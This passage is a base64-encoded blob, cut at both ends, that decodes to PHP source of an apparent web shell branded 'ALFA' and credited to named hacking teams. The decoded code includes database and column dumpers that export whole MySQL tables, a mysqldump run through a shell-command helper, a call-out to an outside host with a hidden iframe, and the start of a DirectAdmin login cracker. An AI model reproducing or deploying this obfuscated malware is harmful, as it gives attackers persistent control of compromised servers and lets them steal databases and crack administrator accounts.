kPjx0ZD48aW5wdXQgc3R5bGU9IndpZHRoOjYwcHg7IiBtdWx0aT0ie211bHRpfSIgaWQ9Imd1aV97dGFyZ2V0fSIgb25DaGFuZ2U9ImNvbG9ySGFuZGxlcih0aGlzKTsiIHRhcmdldD0iLnt0YXJnZXR9IiB0eXBlPSJjb2xvciIgdmFsdWU9Intjb2xvcn0iPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7IiBtdWx0aT0ie211bHRpfSIgb25rZXl1cD0iY29sb3JIYW5kbGVyS2V5KHRoaXMpOyIgdGFyZ2V0PSIue3RhcmdldH0iIGlkPSJpbnB1dF97dGFyZ2V0fSIgY2xhc3M9ImNvbG9yc19pbnB1dCIgcGxhY2Vob2xkZXI9IiNmZmZmZmYiIHZhbHVlPSJ7Y29sb3J9Ij48L3RkPjwvdHI+JzsNCiR4ID0gMTsNCmZvcmVhY2goJEdMT0JBTFNbJ19fQUxGQV9DT0xPUl9fJ10gYXMgJGtleSA9PiAkdmFsdWUpew0KCSRtdWx0aSA9ICIiOw0KCWlmKGlzX2FycmF5KCR2YWx1ZSkpew0KCQlpZihpc3NldCgkdmFsdWVbIm11bHRpX3NlbGVjdG9yIl0pKXsNCgkJCSRtdWx0aSA9IF9fWlc1amIyUmxjZyhqc29uX2VuY29kZSgkdmFsdWUpKTsNCgkJfQ0KCX0NCgkkdmFsdWUgPSBhbGZhX2dldENvbG9yKCRrZXkpOw0KCSRoZWxwID0gc3RydG9sb3dlcihzdHJfcmVwbGFjZShhcnJheSgiOiIsICIrIiksIGFycmF5KCJfIiwgIl9wbHVzIiksICRrZXkpKTsNCgllY2hvIHN0cl9yZXBsYWNlKGFycmF5KCJ7aW5kZXh9IiwgInt0YXJnZXR9IiwgIntjb2xvcn0iLCAie211bHRpfSIsICJ7aGVscH0iKSwgYXJyYXkoJHgrKywgJGtleSwgJHZhbHVlLCAkbXVsdGksICRoZWxwKSwgJHRlbXBsYXRlKTsNCn0NCmVjaG8gJzx0cj48dGQgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyI+LTwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPjxkaXYgY2xhc3M9InRibHR4dCI+KjwvZGl2PjwvdGQ+PHRkPjxkaXYgc3R5bGU9Im1hcmdpbi1sZWZ0OjVweDsiIGNsYXNzPSJ0Ymx0eHQiPlVzZSBEZWZhdWx0IENvbG9yOjwvZGl2PjwvdGQ+PHRkPjwvdGQ+PHRkPjxjZW50ZXI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBpZD0idXNlX2RlZmF1bHRfY29sb3IiIHZhbHVlPSIxIj48L2NlbnRlcj48L3RkPjwvdHI+JzsNCg0KZWNobyAnPC90Ym9keT48L3RhYmxlPjxwPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ0biIgdmFsdWU9IiAiPjwvcD48L2Zvcm0+PHA+PGJ1dHRvbiBzdHlsZT0icGFkZGluZzo0cHg7O21hcmdpbi1yaWdodDoyMHB4OyIgb25jbGljaz0iJChcJ2ltcG9ydEZpbGVCdG5cJykuY2xpY2soKTsiIGNsYXNzPSJidXR0b24iPiBJbXBvcnQgPC9idXR0b24+IDxidXR0b24gc3R5bGU9InBhZGRpbmc6NHB4O21hcmdpbi1sZWZ0OjIwcHg7IiBvbmNsaWNrPSJnKFwnc2V0dGluZ3NcJyxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLFwnZXhwb3J0XCcsXCdjb2xvclwnKSIgY2xhc3M9ImJ1dHRvbiI+IEV4cG9ydCA8L2J1dHRvbj48L2NlbnRlcj48L3A+JzsNCmlmKCRfUE9TVFsnYWxmYTcnXT09J2V4cG9ydCcpew0KCWVjaG8gX19wcmUoKTsNCgkkY29sb3JzID0gaXNfYXJyYXkoJEdMT0JBTFNbIkRCX05BTUUiXVsiY29sb3IiXSk/JEdMT0JBTFNbIkRCX05BTUUiXVsiY29sb3IiXTphcnJheSgpOw0KCSRnbG9iX2NvbG9ycyA9ICRHTE9CQUxTWyJfX0FMRkFfQ09MT1JfXyJdOw0KCSRhcnJheSA9IGFycmF5KCk7DQoJZm9yZWFjaCgkZ2xvYl9jb2xvcnMgYXMgJGsgPT4gJHYpew0KCQlpZihpc3NldCgkY29sb3JzWyRrXSkmJiFlbXB0eSgkY29sb3JzWyRrXSkmJiEkaXNfZGVmYXVsdCl7DQoJCQkkdiA9IHRyaW0oJGNvbG9yc1ska10pOw0KCQl9ZWxzZXsNCgkJCSR2ID0gdHJpbShpc19hcnJheSgkdik/JHZbImtleV9jb2xvciJdOiR2KTsNCgkJfQ0KCQkkYXJyYXlbJGtdID0gJHY7DQoJfQ0KCSRmaWxlID0gImFsZmFfY29sb3JfY29uZmlnXyIuZGF0ZSgnWS1tLWQtaF9pX3MnKS4iLmNvbmYiOw0KCSRjb25maWcgPSBqc29uX2VuY29kZSgkYXJyYXksIEpTT05fUFJFVFRZX1BSSU5UKTsNCglpZighQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCAkY29uZmlnKSl7DQoJCWVjaG8oJzxwPjxjZW50ZXI+Q29sb3IgQ29uZmlnOjxicj48YnI+PHRleHRhcmVhIHJvd3M9IjEyIiBjb2xzPSI3MCIgdHlwZT0idGV4dCI+Jy4kY29uZmlnLic8L3RleHRhcmVhPjwvY2VudGVyPjwvcD4nKTsNCgl9ZWxzZXsNCgkJZWNobygnPGgzPjxwPjxjZW50ZXI+PGEgY2xhc3M9ImFjdGlvbnMiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycuJGZpbGUuJ1wnLCBcJ2Rvd25sb2FkXCcpIj48Zm9udCBjb2xvcj0iIzBGMCI+RG93bmxvYWQgQ29uZmlnPC9mb250PjwvYT48L2NlbnRlcj48L3A+PC9oMz4nKTsNCgl9DQp9DQppZigkX1BPU1RbJ2FsZmEyJ109PSc+Picpew0KCWVjaG8gX19wcmUoKTsNCgkkY29sb3JzID0ganNvbl9kZWNvZGUoJF9QT1NUWyJhbGZhMSJdLHRydWUpOw0KCSRhcnJheSA9ICIiOw0KCSRpc19kZWZhdWx0ID0gaXNzZXQoJF9QT1NUWyJhbGZhMyJdKSYmJF9QT1NUWyJhbGZhMyJdPT0iMSI/dHJ1ZTpmYWxzZTsNCgkkZ2xvYl9jb2xvcnMgPSAkR0xPQkFMU1siX19BTEZBX0NPTE9SX18iXTsNCglmb3JlYWNoKCRnbG9iX2NvbG9ycyBhcyAkayA9PiAkdil7DQoJCWlmKGlzc2V0KCRjb2xvcnNbJGtdKSYmIWVtcHR5KCRjb2xvcnNbJGtdKSYmISRpc19kZWZhdWx0KXsNCgkJCSR2ID0gdHJpbSgkY29sb3JzWyRrXSk7DQoJCX1lbHNlew0KCQkJJHYgPSB0cmltKGlzX2FycmF5KCR2KT8kdlsia2V5X2NvbG9yIl06JHYpOw0KCQl9DQoJCSRhcnJheSAuPSAnIicudHJpbSgkaykuJyIgPT4gIicuJHYuJyIsJzsNCgl9DQoJQGNoZGlyKCRHTE9CQUxTWydob21lX2N3ZCddKTsNCgkkYmFzZW5hbWUgPSBAYmFzZW5hbWUoJF9TRVJWRVJbJ1BIUF9TRUxGJ10pOw0KCSRkYXRhID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRiYXNlbmFtZSk7DQoJJGNvbG9yID0gJy9cJ2NvbG9yXCcoLio/KVwpLC9zJzsNCglpZihwcmVnX21hdGNoKCRjb2xvciwkZGF0YSwkZSkpew0KCQkkbmV3ID0gIidjb2xvcicgPT4gYXJyYXkoIi4kYXJyYXkuIiksIjsNCgkJJGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTsNCgkJaWYoQGZpbGVfcHV0X2NvbnRlbnRzKCRiYXNlbmFtZSwgJGRhdGEpKXsNCgkJCWVjaG8oIjxjZW50ZXI+PHA+PGgzPlsrXSBTdWNjZXNzLi4uPC9oMz48L3A+PC9jZW50ZXI+PHNjcmlwdD5sb2NhdGlvbi5yZWxvYWQoKTs8L3NjcmlwdD4iKTsNCgkJfWVsc2V7DQoJCQllY2hvKCI8Y2VudGVyPjxwPjxoMz5bLV0gV2UgTm90IGhhdmUgcGVybWlzc2lvbiB0byBFZGl0IHNoZWxsLi4uITwvaDM+PC9wPjwvY2VudGVyPiIpOw0KCQl9DQoJfWVsc2V7DQoJCWVjaG8oIjxjZW50ZXI+PHA+PGgzPlstXSBFcnJvci4uLiE8L2gzPjwvcD48L2NlbnRlcj4iKTsNCgl9DQp9DQp9DQplY2hvKCc8L2Rpdj4nKTsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFsZmFhYm91dHVzKCl7DQphbGZhaGVhZCgpOw0KZWNobyAnPGRpdiBjbGFzcz0iaGVhZGVyIj4nOw0KJG5ld3MgPSBuZXcgQWxmYUNVUkwoKTsNCiRhYm91dF91cyA9ICRuZXdzLT5TZW5kKCJodHRwOi8vc29sZXZpc2libGUuY29tL2Fib3V0dXMucGhwIik7DQppZihlbXB0eSgkYWJvdXRfdXMpKXsNCiRhYm91dF91cyA9ICI8cHJlPjxjZW50ZXI+PGltZyBzcmM9J2h0dHA6Ly9zb2xldmlzaWJsZS5jb20vaW1hZ2VzL2ZhcnZhaGFyLWlyYW4ucG5nJz48YnI+DQo8Yj48Zm9udCBzaXplPScrMycgY29sb3I9JyMwMEEyMjAnPiYjOTc3NDsgfiBQRUFDRSB+ICYjOTc3NDs8L2ZvbnQ+PGJyPjxiPg0KPGZvbnQgY29sb3I9JyMwMEEyMjAnPlNoZWxsIFJlY29kZSBCeSBVQ0VOIEhBWE9SICYgVElBUkE8L2ZvbnQ+PGJyPg0KPGZvbnQgY29sb3I9JyMwMEEyMjAnPkNvbnRhY3QgOiBwZW5qYWdhbWFzamlkQHByb3Rvbm1haWwuY29tPC9mb250Pjxicj4NCjxmb250IGNvbG9yPScjMDBBMjIwJz5Ud2l0dGVyIDogaHR0cHM6Ly90d2l0dGVyLmNvbS9LYXJhd2FuZ0N5YmVyPzwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0nI0ZGRkZGRic+VGhhbmtzIFRvIDo8L2ZvbnQ+PGJyPg0KPGZvbnQgY29sb3I9JyNGRjAwMDAnPkFMRkEgVEVhTTwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+S0FSQVdBTkcgQ1lCRVIgVEVBTTwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+S09CVVNUT1IgR0hPU1QgVEVBTTwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+IyMjIyMjIyMjIyMjPC9mb250Pjxicj4NCjwvY2VudGVyPjwvcHJlPjxpZnJhbWUgc3JjPSd0ZzovL3Jlc29sdmU/ZG9tYWluPXNvbGV2aXNpYmxlJyBmcmFtZWJvcmRlcj0nMCcgd2lkdGg9JzAnIGhlaWdodD0nMCc+PC9pZnJhbWU+IjsNCn0NCmVjaG8gX19wcmUoKS4kYWJvdXRfdXM7DQplY2hvKCc8L2Rpdj4nKTsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFsZmFjb2xkdW1wZXIoKXsNCmFsZmFoZWFkKCk7DQplY2hvKCc8ZGl2IGNsYXNzPSJoZWFkZXIiPicpOw0KQWxmYU51bSg4LDksMTApOw0KZWNobyAiPGNlbnRlcj48YnI+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgTXlzcWwgQ29sdW1uIER1bXBlciB8PC9kaXY+PGJyPjxicj4iLmdldENvbmZpZ0h0bWwoJ2FsbCcpLiI8Zm9ybSBtZXRob2Q9J3Bvc3QnIG9uc3VibWl0PVwidmFyIG9wdF9pZD10aGlzLmdldEF0dHJpYnV0ZSgnb3B0X2lkJyk7dmFyIGRlbGltaXRlcj0nanNvbic7dHJ5e2lmKCQoJ2R1bXBlci1kZWxpbWl0ZXItdHlwZScpLnZhbHVlID09ICdkZWxpbWl0ZXInKWRlbGltaXRlcj0kKCdkdW1wZXItZGVsaW1pdGVyLWlucHV0JykudmFsdWV9Y2F0Y2goZSl7fTtnKCdjb2xkdW1wZXInLG51bGwsZGVsaW1pdGVyLEpTT04uc3RyaW5naWZ5KGNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVtvcHRfaWRdKSx0aGlzLmRiX3VzZXJuYW1lLnZhbHVlLHRoaXMuZGJfcGFzc3dvcmQudmFsdWUsdGhpcy5kYl9uYW1lLnZhbHVlLHRoaXMuZGZpbGUudmFsdWUsdGhpcy5kYl9ob3N0LnZhbHVlKTsgY29sX2R1bXBlcl9zZWxlY3RlZF9kYXRhW29wdF9pZF0gPSB7fTtyZXR1cm4gZmFsc2U7XCI+PHA+IjsNCiRkZWxpbWl0ZXIgPSAoIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkgPyAkX1BPU1RbJ2FsZmExJ10gOiAnOjonKTsNCiRzZWxlY3RlZF9kYXRhID0ganNvbl9kZWNvZGUoJF9QT1NUWydhbGZhMiddLCB0cnVlKTsNCiR1c2VybmFtZSA9ICgkX1BPU1RbJ2FsZmEzJ10pOw0KJHBhc3N3b3JkID0gKCRfUE9TVFsnYWxmYTQnXSk7DQokZGJuYW1lID0gKCRfUE9TVFsnYWxmYTUnXSk7DQokZGZpbGUgPSAoJF9QT1NUWydhbGZhNiddKTsNCiRob3N0ID0gKCRfUE9TVFsnYWxmYTcnXSk7DQokdGFibGUgPSBhcnJheSgndGQxJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl9ob3N0IDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX2hvc3QnLCAnaWQnID0+ICdkYl9ob3N0JywgJ2lucHV0VmFsdWUnID0+ICRob3N0LCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQyJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl91c2VybmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl91c2VybmFtZScsICdpZCcgPT4gJ2RiX3VzZXInLCAnaW5wdXRWYWx1ZScgPT4gJHVzZXJuYW1lLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQzJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl9wYXNzd29yZCA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9wYXNzd29yZCcsICdpZCcgPT4gJ2RiX3B3JywgJ2lucHV0VmFsdWUnID0+ICRwYXNzd29yZCwgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkNCcgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfbmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9uYW1lJywgJ2lkJyA9PiAnZGJfbmFtZScsICdpbnB1dFZhbHVlJyA9PiAkZGJuYW1lLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ1JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdPdXRwdXQgUGF0aDogJywgJ2lucHV0TmFtZScgPT4gJ2RmaWxlJywgJ2lucHV0VmFsdWUnID0+IGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSwgJ2lucHV0U2l6ZScgPT4gJzUwJykNCik7DQpjcmVhdGVfdGFibGUoJHRhYmxlKTsNCmVjaG8gIjxicj48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICcgbmFtZT0nU3VibWl0Jz48L3A+PC9mb3JtPjwvY2VudGVyPiI7DQokZGIgPSBmYWxzZTsNCmlmKCFlbXB0eSgkZGJuYW1lKSl7DQoJJGRiID0gQG15c3FsaV9jb25uZWN0KCRob3N0LCAkdXNlcm5hbWUsICRwYXNzd29yZCwgJGRibmFtZSk7DQp9DQppZihjb3VudCgkc2VsZWN0ZWRfZGF0YSkgPiAwKXsNCglpZigkZGIpew0KCQlpZighaXNfZGlyKCRkZmlsZSkpew0KCQkJJGRmaWxlID0gJEdMT0JBTFNbJ2N3ZCddOw0KCQl9DQoJCSR0YmxzID0gIiI7DQoJCSRleHQgPSAnLnR4dCc7DQoJCWlmKCRkZWxpbWl0ZXIgPT0gJ2pzb24nKXsNCgkJCSRleHQgPSAnLmpzb24nOw0KCQl9DQoJCWZvcmVhY2ggKCRzZWxlY3RlZF9kYXRhIGFzICR0YmwgPT4gJGNvbHMpIHsNCgkJCSR0YWJsZXNfcXVlcnkgPSBteXNxbGlfcXVlcnkoJGRiLCAiU0VMRUNUICIuaW1wbG9kZSgnLCcsICRjb2xzKS4iIEZST00gJHRibCIpOw0KCQkJJGZpbGVfbmFtZSA9ICRkZmlsZS4nLycuJGRibmFtZS4nLicuJHRibC4kZXh0Ow0KCQkJJGZwID0gZm9wZW4oJGZpbGVfbmFtZSwgInciKTsNCgkJCSRkYXRhID0gYXJyYXkoKTsNCgkJCXdoaWxlKCRyb3cgPSBteXNxbGlfZmV0Y2hfYXJyYXkoJHRhYmxlc19xdWVyeSwgTVlTUUxJX0FTU09DKSl7DQoJCQkJaWYoJGRlbGltaXRlciA9PSAianNvbiIpew0KCQkJCQkkY29sX2FyciA9IGFycmF5KCk7DQoJCQkJCWZvcmVhY2ggKCRyb3cgYXMgJGtleSA9PiAkdmFsdWUpIHsNCgkJCQkJCWlmKGVtcHR5KCR2YWx1ZSkpew0KCQkJCQkJCSR2YWx1ZSA9ICJbZW1wdHldIjsNCgkJCQkJCX0NCgkJCQkJCSAkY29sX2Fyclska2V5XSA9ICR2YWx1ZTsNCgkJCQkJfQ0KCQkJCQkkZGF0YVskdGJsXVtdID0gJGNvbF9hcnI7DQoJCQkJfWVsc2V7DQoJCQkJCSRkYXRhID0gIiI7DQoJCQkJCWZvcmVhY2ggKCRyb3cgYXMgJGtleSA9PiAkdmFsdWUpIHsNCgkJCQkJCWlmKGVtcHR5KCR2YWx1ZSkpew0KCQkJCQkJCSR2YWx1ZSA9ICJbZW1wdHldIjsNCgkJCQkJCX0NCgkJCQkJCSRkYXRhIC49ICR2YWx1ZSAuICRkZWxpbWl0ZXI7DQoJCQkJCX0NCgkJCQkJZndyaXRlKCRmcCwgJGRhdGEgLiJcbiIpOw0KCQkJCX0NCgkJCX0NCgkJCWlmKCRkZWxpbWl0ZXIgPT0gImpzb24iKXsNCgkJCQlmd3JpdGUoJGZwLCBqc29uX2VuY29kZSgkZGF0YSkpOw0KCQkJfQ0KCQkJZmNsb3NlKCRmcCk7DQoJCQkkdGJscyAuPSAiRG9uZSB+fn4+ICIuJGZpbGVfbmFtZS4iPGJyPiI7DQoJCX0NCgkJZWNobyBfX3ByZSgpOw0KCQllY2hvICI8Y2VudGVyPjxmb250IGNvbG9yPScjMDBGRjAwJz4iLiR0YmxzLiI8L2ZvbnQ+PC9jZW50ZXI+IjsNCgl9DQp9DQppZighZW1wdHkoJGRibmFtZSkgJiYgY291bnQoJHNlbGVjdGVkX2RhdGEpID09IDApew0KLy9lY2hvIF9fcHJlKCk7DQppZigkZGIpew0KCWVjaG8oIjxocj48ZGl2IHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjttYXJnaW4tYm90dG9tOjVweDtmb250LXdlaWdodDpib2xkZXI7Jz48c3Bhbj5bIFNlbGVjdCB5b3VyIHRhYmxlcyBhbmQgY29sdW1ucyBmb3IgZHVtcGluZyBkYXRhIF08L3NwYW4+PC9kaXY+Iik7DQoJZWNobygiPGRpdiBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48c3Bhbj5PdXRwdXQgVHlwZTogPC9zcGFuPjxzZWxlY3QgaWQ9J2R1bXBlci1kZWxpbWl0ZXItdHlwZScgb25jaGFuZ2U9J2NvbER1bXBsZXJTZWxlY3RUeXBlKHRoaXMpOycgbmFtZT0nb3V0cHV0X3R5cGUnPjxvcHRpb24gdmFsdWU9J2RlbGltaXRlcicgc2VsZWN0ZWQ+ZGVsaW1pdGVyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nanNvbic+anNvbjwvb3B0aW9uPjwvc2VsZWN0PjxkaXYgaWQ9J2NvbGR1bXBlci1kZWxpbWl0ZXItaW5wdXQnIHN0eWxlPSdkaXNwbGF5OmlubGluZTsnPjxzcGFuPiBEZWxpbWl0ZXI6IDwvc3Bhbj48aW5wdXQgaWQ9J2R1bXBlci1kZWxpbWl0ZXItaW5wdXQnIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIHR5cGU9J3RleHQnIG5hbWU9J2RlbGltaXRlcicgcGxhY2Vob2xkZXI9J2VnOiAsJz48L2Rpdj48L2Rpdj4iKTsNCgkkZGF0YSA9IGFycmF5KCk7DQoJJHRhYmxlc19xdWVyeSA9IG15c3FsaV9xdWVyeSgkZGIsICJTRUxFQ1QgdGFibGVfbmFtZSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgV0hFUkUgdGFibGVfc2NoZW1hID0gZGF0YWJhc2UoKTsiKTsNCgl3aGlsZSgkcm93ID0gbXlzcWxpX2ZldGNoX2FycmF5KCR0YWJsZXNfcXVlcnksIE1ZU1FMSV9BU1NPQykpew0KCQkkZGF0YVskcm93WyJ0YWJsZV9uYW1lIl1dID0gYXJyYXkoKTsNCgkJJHRhYmxlX2NvdW50X3EgPSBteXNxbGlfcXVlcnkoJGRiLCAiU0VMRUNUIGNvdW50KCopIEZST00gYCIuJHJvd1sndGFibGVfbmFtZSddLiJgIik7DQoJCSR0YWJsZV9jb3VudCA9IG15c3FsaV9mZXRjaF9yb3coJHRhYmxlX2NvdW50X3EpOw0KCQkkZGF0YVskcm93WyJ0YWJsZV9uYW1lIl1dWyJkYXRhX2NvdW50Il0gPSAkdGFibGVfY291bnRbMF07DQoJCSRjb2x1bW5zX3F1ZXJ5ID0gbXlzcWxpX3F1ZXJ5KCRkYiwgIlNFTEVDVCBjb2x1bW5fbmFtZSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIFdIRVJFIHRhYmxlX25hbWUgPSAnIi4kcm93Wyd0YWJsZV9uYW1lJ10uIiciKTsNCgkJd2hpbGUoJHJvdzIgPSBteXNxbGlfZmV0Y2hfYXJyYXkoJGNvbHVtbnNfcXVlcnksIE1ZU1FMSV9BU1NPQykpew0KCQkJJGRhdGFbJHJvd1sidGFibGVfbmFtZSJdXVsiY29scyJdW10gPSAkcm93MlsiY29sdW1uX25hbWUiXTsNCgkJfQ0KCX0NCglteXNxbGlfY2xvc2UoJGRiKTsNCg0KCWVjaG8gJzx1bCBpZD0ibXlVTCI+JzsNCglmb3JlYWNoKCRkYXRhIGFzICR0YmwgPT4gJGNvbHMpew0KCSAgICBlY2hvICc8bGk+PHNwYW4gc3R5bGU9ImNvbG9yOiMwMEZGMDA7IiBjbGFzcz0iYm94Ij4nLiR0YmwuJyAoJy4kY29sc1siZGF0YV9jb3VudCJdLicpPC9zcGFuPjx1bCBjbGFzcz0ibmVzdGVkIj4nOw0KCSAgICBmb3JlYWNoKCRjb2xzWyJjb2xzIl0gYXMgJGNvbCl7DQoJICAgICAgICBlY2hvICc8bGkgdGJsPSInLiR0YmwuJyI+PHNwYW4gc3R5bGU9ImNvbG9yOiMwMEZGMDA7IiB0Ymw9IicuJHRibC4nIiBjbGFzcz0iYm94IHN1Yi1ib3giPicgLiAkY29sIC4gJzwvc3Bhbj48L2xpPic7DQoJICAgIH0NCgkgICAgZWNobyAnPC91bD48L2xpPic7DQoJfQ0KCWVjaG8gJzwvdWw+JzsNCn1lbHNlew0KZWNobygnPGNlbnRlcj5teXNxbGlfY29ubmVjdCA6IEVycm9yITwvY2VudGVyPicpOw0KfQ0KfQ0KZWNobygnPC9kaXY+Jyk7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhbGZhRHVtcGVyKCl7DQphbGZhaGVhZCgpOw0KZWNobygnPGRpdiBjbGFzcz0iaGVhZGVyIj4nKTsNCkFsZmFOdW0oOCw5LDEwKTsNCmVjaG8gIjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IE15c3FsIERhdGFiYXNlIER1bXBlciB8PC9kaXY+PGJyPjxicj4iLmdldENvbmZpZ0h0bWwoJ2FsbCcpLiI8Zm9ybSBtZXRob2Q9J3Bvc3QnIG9uc3VibWl0PVwiZygnZHVtcGVyJyxudWxsLG51bGwsbnVsbCx0aGlzLmRiX3VzZXJuYW1lLnZhbHVlLHRoaXMuZGJfcGFzc3dvcmQudmFsdWUsdGhpcy5kYl9uYW1lLnZhbHVlLHRoaXMuZGZpbGUudmFsdWUsdGhpcy5kYl9ob3N0LnZhbHVlKTsgcmV0dXJuIGZhbHNlO1wiPjxwPiI7DQokdGFibGUgPSBhcnJheSgndGQxJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl9ob3N0IDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX2hvc3QnLCAnaWQnID0+ICdkYl9ob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQyJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl91c2VybmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl91c2VybmFtZScsICdpZCcgPT4gJ2RiX3VzZXInLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDMnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX3Bhc3N3b3JkIDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX3Bhc3N3b3JkJywgJ2lkJyA9PiAnZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDQnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX25hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfbmFtZScsICdpZCcgPT4gJ2RiX25hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDUnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0R1bXAgUGF0aDogJywgJ2lucHV0TmFtZScgPT4gJ2RmaWxlJywgJ2lucHV0VmFsdWUnID0+IGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nYWxmYS5zcWwnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQ0KKTsNCmNyZWF0ZV90YWJsZSgkdGFibGUpOw0KZWNobyAiPGJyPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJyBuYW1lPSdTdWJtaXQnPjwvcD48L2Zvcm0+PC9jZW50ZXI+IjsNCiR1c2VybmFtZSA9ICgkX1BPU1RbJ2FsZmEzJ10pOw0KJHBhc3N3b3JkID0gKCRfUE9TVFsnYWxmYTQnXSk7DQokZGJuYW1lID0gKCRfUE9TVFsnYWxmYTUnXSk7DQokZGZpbGUgPSAoJF9QT1NUWydhbGZhNiddKTsNCiRob3N0ID0gKCRfUE9TVFsnYWxmYTcnXSk7DQppZighZW1wdHkoJGRibmFtZSkpew0KZWNobyBfX3ByZSgpOw0KJG1zZyA9ICI8Y2VudGVyPkNoZWNrIHRoaXMgOiAgPGZvbnQgY29sb3I9J3JlZCc+Ii4kZGZpbGUuIjwvZm9udD48L2NlbnRlcj4iOw0KaWYoQG15c3FsaV9jb25uZWN0KCRob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRibmFtZSkpew0KaWYoc3RybGVuKGFsZmFFeCgibXlzcWxkdW1wIikpPjApew0KYWxmYUV4KCJteXNxbGR1bXAgLS1zaW5nbGUtdHJhbnNhY3Rpb24gLS1ob3N0PVwiJGhvc3RcIiAtLXVzZXI9XCIkdXNlcm5hbWVcIiAtLXBhc3N3b3JkPVwiJHBhc3N3b3JkXCIgJGRibmFtZSA+ICciLmFkZHNsYXNoZXMoJGRmaWxlKS4iJyIpOw0KZWNobygkbXNnKTsNCn1lbHNlew0KX19hbGVydCgiRXJyb3IuLi4hIik7DQp9DQp9ZWxzZXsNCmVjaG8oJzxjZW50ZXI+bXlzcWxpX2Nvbm5lY3QgOiBFcnJvciE8L2NlbnRlcj4nKTsNCn0NCn0NCmVjaG8oJzwvZGl2PicpOw0KYWxmYWZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gQWxmYV9EaXJlY3RBZG1pbl9DcmFja2VyKCRpbmZvKXsNCmlmKCEkaW5mb1snbXlzcWwnXSkNCiR1cmwgPSAkaW5mb1sncHJvdG9jb2wnXS4kaW5mb1sndGFyZ2V0J10uJzonLiRpbmZvWydwb3J0J10uJy9DTURfTE9HSU4nOw0KZWxzZSAkdXJsID0gJGluZm9bJ3Byb3RvY29sJ10uJGluZm9bJ3Rhcmd